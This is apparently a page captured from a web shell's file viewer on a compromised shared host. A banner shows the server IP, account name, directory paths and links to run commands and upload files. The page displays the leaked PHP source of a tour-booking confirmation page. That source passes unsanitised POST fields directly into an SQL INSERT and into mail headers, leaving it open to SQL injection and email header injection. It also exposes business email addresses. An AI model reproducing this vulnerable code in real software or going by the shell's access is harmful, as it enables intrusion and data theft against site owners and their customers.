Server IP : 103.53.40.154 / Your IP : 3.22.249.229 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/thewebshop.co.in/../thegloriousadventure.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); $tour_name=$_POST['tour_name']; $name=$_POST['name']; $phone=$_POST['phone']; $email=$_POST['email']; $date=$_POST['date']; $car_type=$_POST['car_type']; $price=$_POST['pack_cost']; $date=$_POST['date']; $ord_person_no=$_POST['no_of_person']; $transaction_id=$_POST['transaction_id']; date_default_timezone_set('Asia/Kolkata'); $currentDate = date('Y-m-d'); $sqli="INSERT INTO `tbl_order`(`ord_amount`, `ord_ord_name`, `ord_pack_type`, `ord_person_name`, `ord_email`, `ord_mobile`, `ord_doj`, `ord_status`, `ord_person_no`, `ord_date`, `ord_payment_gateway`, `ord_web_url`) VALUES ('$price', '$tour_name', '$tour_name', '$name', '$email', '$phone', '$date', 'Paid', '$ord_person_no', '$currentDate', 'Razorpay', '$transaction_id')"; $result = mysqli_query($db, $sqli) or die("Query unsuccessful"); if ($result) { $hostName = 'Kralyari Travels'; $msgmail="<!doctype html> <html> <head> <meta charset='utf-8'> <title>IndiaTourismIncredible</title> </head> <body style='margin:0px; padding:0px; font-family:arial; line-height:1.5; font-size:12px;'> <div style='width:650px; margin:auto;'> <div style='margin:10px; border:solid 2px #efefef; padding:10px;'> <div> <p style='width:200px; float:left; color:#000; margin:0px; padding:0px; color:#000;'>Date - ".date('d M Y')."</p> <p style='width:200px; float:left; text-align:center; color:#000; margin:0px; padding:0px; color:#000;'><img src='https://www.kralyaritravels.com/admin/images/header_logo_20240705073432.jpeg' width='100px;'></p> </div> <div style='clear:both;'></div> <div style='clear:both;'></div> <div style='float:left; width:507px; margin-top:2px;'> <p style='width:130px; float:left; margin:0px; padding:0px; color:#000; font-weight:600;'>Customer Name</p> <p style='width:50px; float:left; margin:0px; padding:0px; color:#000;'><strong>:</strong></p> <p style='width:240px; float:left; margin:0px; padding:0px; color:#000;'>$name</p> <p style='width:130px; float:left; margin:0px; padding:0px; color:#000; font-weight:600;'>Customer Email</p> <p style='width:50px; float:left; margin:0px; padding:0px; color:#000;'><strong>:</strong></p> <p style='width:240px; float:left; margin:0px; padding:0px; color:#000;'>$email</p> <p style='width:130px; float:left; margin:0px; padding:0px; color:#000; font-weight:600;'>Bus Category</p> <p style='width:50px; float:left; margin:0px; padding:0px; color:#000;'><strong>:</strong></p> <p style='width:240px; float:left; margin:0px; padding:0px; color:#000;'>$tour_name</p> <p style='width:130px; float:left; margin:0px; padding:0px; color:#000; font-weight:600;'>No of Person </p> <p style='width:50px; float:left; margin:0px; padding:0px; color:#000;'><strong>:</strong></p> <p style='width:240px; float:left; margin:0px; padding:0px; color:#000;'>$ord_person_no</p> <p style='width:130px; float:left; margin:0px; padding:0px; color:#000; font-weight:600;'>Contact No</p> <p style='width:50px; float:left; margin:0px; padding:0px; color:#000;'><strong>:</strong></p> <p style='width:240px; float:left; margin:0px; padding:0px; color:#000;'>$phone</p> <p style='width:130px; float:left; margin:0px; padding:0px; color:#000; font-weight:600;'>Date of journey</p> <p style='width:50px; float:left; margin:0px; padding:0px; color:#000;'><strong>:</strong></p> <p style='width:240px; float:left; margin:0px; padding:0px; color:#000;'>$date</p> </div> <div style='float:left; margin:0px; padding:0px;'> </div> <div style='clear:both;'></div> <div style='margin-top:10px;'> <p style='width:130px; float:left; margin:0px; padding:0px; color:#000; font-weight:bold;'>Booked by</p> <p style='width:50px; float:left; margin:0px; padding:0px; color:#000;'><strong>:</strong></p> <p style='width:420px; float:left; margin:0px; padding:0px; color:#000; text-transform:uppercase;'>Kralyari Travel </p> </div> <div style='clear:both;'></div> <div style='margin-top:10px;'> <p style='float:left; margin:0px; padding:0px; color:#000;'>Please Show this $tour_name ticket to Attendant upon entry in Vehicle. Enjoy your tour. Kindly carry estable with you</p> </div> <div style='clear:both;'></div> </div> </div> </body> </html>"; $senderName = $name; $senderEmail = $email; $toEmail = "kralyaritourandtravel123@gmail.com"; $subject = "Booking Details From $hostName"; $from="$senderEmail"; $Headers1 = "From: $senderName<$from>\n"; $Headers1 .= "X-Mailer: PHP/". phpversion(); $Headers1 .= "X-Priority: 3 \n"; $Headers1 .= "MIME-version: 1.0\n"; $Headers1 .= "Content-Type: text/html; charset=iso-8859-1\n"; @mail("$toEmail", "$subject", "$msgmail","$Headers1","-fenquiry@tradekeyindia.com"); $toEmail =$email; $subject = "Booking confirmation on IndiaTourismIncredible"; $from="kralyaritourandtravel123@gmail.com"; $Headers1 = "From: kralyaritourandtravel123@gmail.com<$from>\n"; $Headers1 .= "Reply-To: kralyaritourandtravel123@gmail.com\r\n"; $Headers1 .= "X-Mailer: PHP/" . phpversion() . "\r\n"; $Headers1 .= "X-Priority: 3\r\n"; $Headers1 .= "MIME-Version: 1.0\r\n"; $Headers1 .= "Content-Type: text/html; charset=iso-8859-1\r\n"; @mail("$toEmail", "$subject", "$msgmail","$Headers1","-fenquiry@tradekeyindia.com"); $toEmail."<br>"; // Mailer ENd } else { header("Location: failure.php"); exit(); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <?php include "links.php";?> <title>Thanks</title> <meta name="description" content="Thanks"> </head> <body> <?php include "header.php";?> <div class="breadcrumb breadcrumb-style-one"> <div class="container"> <div class="col-lg-12 text-center"> <h2 class="breadcrumb-title">Thanks</h2> <ul class="d-flex justify-content-center breadcrumb-items"> <li class="breadcrumb-item"><a href="<?php echo $wspath?>">Home</a></li> <li class="breadcrumb-item active">Thanks</li> </ul> </div> </div> </div> <div class="gallary-area gallary-style-one pt-110 pb-110"> <div class="container"> <div class="row justify-content-left"> <div class="col-lg-12"> <div class="section-head-alpha section-padding-15 text-center mx-auto"> <h2 class="mhead" style="color:green;">Thansk For Booking! </h2> <!--<p>Best Tour From Our Gallery</p>--> </div> </div> </div> </div> </div> <div class="footer-area"> <div class="footer-main-wrapper"> <div class="footer-vactor"> <img src="<?php echo $wspath?>assets/images/banner/footer-bg.png" alt="<?php echo $site_name?>" title="<?php echo $site_name?>"> </div> <div class="container"> <div class="row justify-content-center g-4"> <div class="col-lg-3"> <div class="footer-about text-lg-start text-center"> <div> <img src="<?php echo $wspath?>admin/images/<?php echo $data1["footer_logo"];?>" style="width: 150px;" alt="<?php echo $site_name?>" title="<?php echo $site_name?>"> </div> <p><?php echo $data1["short_about"];?></p> <div class="footer-social-wrap"> <h5>Follow Us On:</h5> <ul class="footer-social-links justify-content-lg-start justify-content-center"> <li><a href="<?php echo $data1['facebook_link'];?>"><i class='bx bxl-facebook'></i></a></li> <li><a href="<?php echo $data1['insta_link'];?>"><i class='bx bxl-instagram-alt'></i></a></li> <li><a href="<?php echo $data1['twitter_link'];?>"><i class='bx bxl-twitter'></i></a></li> <li><a href="https://wa.me/<?php echo $data1['whatsapp'];?>"><i class="bx bxl-whatsapp"></i></a></li> </ul> </div> </div> </div> <div class="col-lg-3 col-md-4"> <div class="footer-widget"> <h4 class="footer-widget-title">Our Best Tour</h4> <ul class="footer-links"> <?php $sqlci = "SELECT * FROM tbl_services WHERE tour_status='Active' ORDER BY tour_order ASC LIMIT 7"; $runci = mysqli_query($db, $sqlci) or die("Query Not run"); while ($dataci = mysqli_fetch_assoc($runci)) { $serviceUrl = $wspath ; if (isset($_REQUEST['loc_slug'])) { $loc_slug = htmlspecialchars($_REQUEST['loc_slug']); $serviceUrl .= $loc_slug. '/'; } $serviceUrl .= '' . $dataci['slug_url'] . '.html'; ?> <li><a href="<?php echo $serviceUrl; ?>"><?= str_replace("LOCATION",$location,$dataci["name"]);?> </a></li> <?php } ?> </ul> </div> </div> <div class="col-lg-3 col-md-4"> <div class="footer-widget"> <h4 class="footer-widget-title">Quick Links</h4> <ul class="footer-links"> <li><a href="<?php echo $wspath?>">Home</a></li> <li><a href="<?php echo $wspath?>about.html">About Us</a></li> <li><a href="<?php echo $wspath?>gallery.html">Gallery</a></li> <li><a href="<?php echo $wspath?>contact.html">Contact Us</a></li> <li><a href="<?php echo $wspath?>terms-condition.html">Terms & Conditions</a></li> <li><a href="<?php echo $wspath?>privacy-policy.html">Privacy Policy</a></li> <li><a href="<?php echo $wspath?>cancellation-refund-policy.html">Cancellation Refund Policy</a></li> <!--<li><a href="#"> Privacy Policy</a></li>--> <li><a href="<?php echo $wspath?>sitemap.html"> Sitemap</a></li> </ul> </div> </div> <div class="col-lg-3 col-md-4"> <div class="footer-widget"> <h4 class="footer-widget-title">Payment Options</h4> <ul class="footer-links"> <li><img src="<?php echo $wspath?>car-img/footer-payment.png" width="80%"></li> </ul> </div> </div> </div> <div class="footer-contact-wrapper"> <h5>Contact Us:</h5> <ul class="footer-contact-list"> <li><i class="fa-solid fa-phone"></i> <a href="tel:<?php echo $data1['phone'];?>"><?php echo $data1['phone'];?></a></li> <li><i class="fa-solid fa-phone"></i> <a href="tel:<?php echo $data1['alt_phone'];?>"><?php echo $data1['alt_phone'];?></a></li> <!--<li><i class="fa-solid fa-phone"></i> <a href="tel:+91-8800921583">+91-8800921583</a></li>--> <li> <a href="mailto:<?php echo $data1['email'];?>"><i class="fa-solid fa-envelope"></i> <?php echo $data1['email'];?></a> </li> <li><i class="fa-solid fa-location-dot"></i> <a> <?php echo $data1['address'];?></a></li> </ul> </div> </div> </div> <div class="footer-bottom"> <div class="container"> <div class="row align-items-center justify-content-center"> <div class="col-lg-5 col-md-6 order-lg-1 order-3 "> <div class="copyright-link text-lg-start text-center"> <p>Copyright <?php echo date("Y"); ?> <?php echo $site_name?> | Design By <a target="_blank" href="https://www.webkeyindia.com"> Web Key India</a></p> </div> </div> <div class="col-lg-3 order-lg-2 order-1"> <div class="footer-logo text-center"> </div> </div> <div class="col-lg-4 col-md-6 order-lg-3 order-2"> <div class="policy-links"> <ul class="policy-list justify-content-lg-end justify-content-center"> <li><a href="<?php echo $wspath?>terms-condition.html">Terms & Condition</a></li> <li><a href="<?php echo $wspath?>shipping-and-delivery.html">Shipping and Delivery</a></li> </ul> </div> </div> </div> </div> </div> <?php include 'mobile-tabs.php';?> <a href="#" data-target="html" class="scroll-to-target scroll-to-top" style="display: inline;"><i class="fa fa-angle-up"></i></a> <div class="whatsapp-float"> <a href="https://wa.me/<?php echo $data1['whatsapp'];?>" target="blank"><img src="<?php echo $wspath?>car-img/wp-icon.png" width="50px" class="whatsapp-float-btn" alt="whatsapp" title="WhatsApp"></a> </div> <div class="call-icon"> <a href="tel:<?php echo $data1['phone'];?>" target="_blank"> <img src="<?php echo $wspath?>car-img/call-icon.png" width="50px" class="call-icon-btn" alt="Call" title="Call"></a> </div> </div> <script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script> <script src="//code.jquery.com/jquery-1.11.1.min.js"></script> <!--<script src="<?php echo $wspath?>assets/js/owlcarousel.min.js"></script>--> <script src="<?php echo $wspath?>assets/js/jquery-3.6.0.min.js"></script> <script src="<?php echo $wspath?>assets/js/bootstrap.bundle.min.js"></script> <script src="<?php echo $wspath?>assets/js/chain_fade.js"></script> <script src="<?php echo $wspath?>assets/js/swiper-bundle.min.js"></script> <script src="<?php echo $wspath?>assets/js/jquery.fancybox.min.js"></script> <script src="<?php echo $wspath?>assets/js/select2.min.js"></script> <script src="<?php echo $wspath?>assets/js/jquery-ui.js"></script> <script src="<?php echo $wspath?>assets/js/custom.js"></script> <script src="<?php echo $wspath?>assets/js/main.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.2/font/bootstrap-icons.min.css" integrity="sha512-D1liES3uvDpPrgk7vXR/hR/sukGn7EtDWEyvpdLsyalQYq6v6YUsTUJmku7B4rcuQ21rf0UTksw2i/2Pdjbd3g==" crossorigin="anonymous" referrerpolicy="no-referrer" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js" integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js" integrity="sha512-bPs7Ae6pVvhOSiIcyUClR7/q2OAsRiovw4vAkX+zJbw3ShAeeqezq50RIIcIURq7Oa20rW2n2q+fyXBNcU9lrw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script> </body> </html>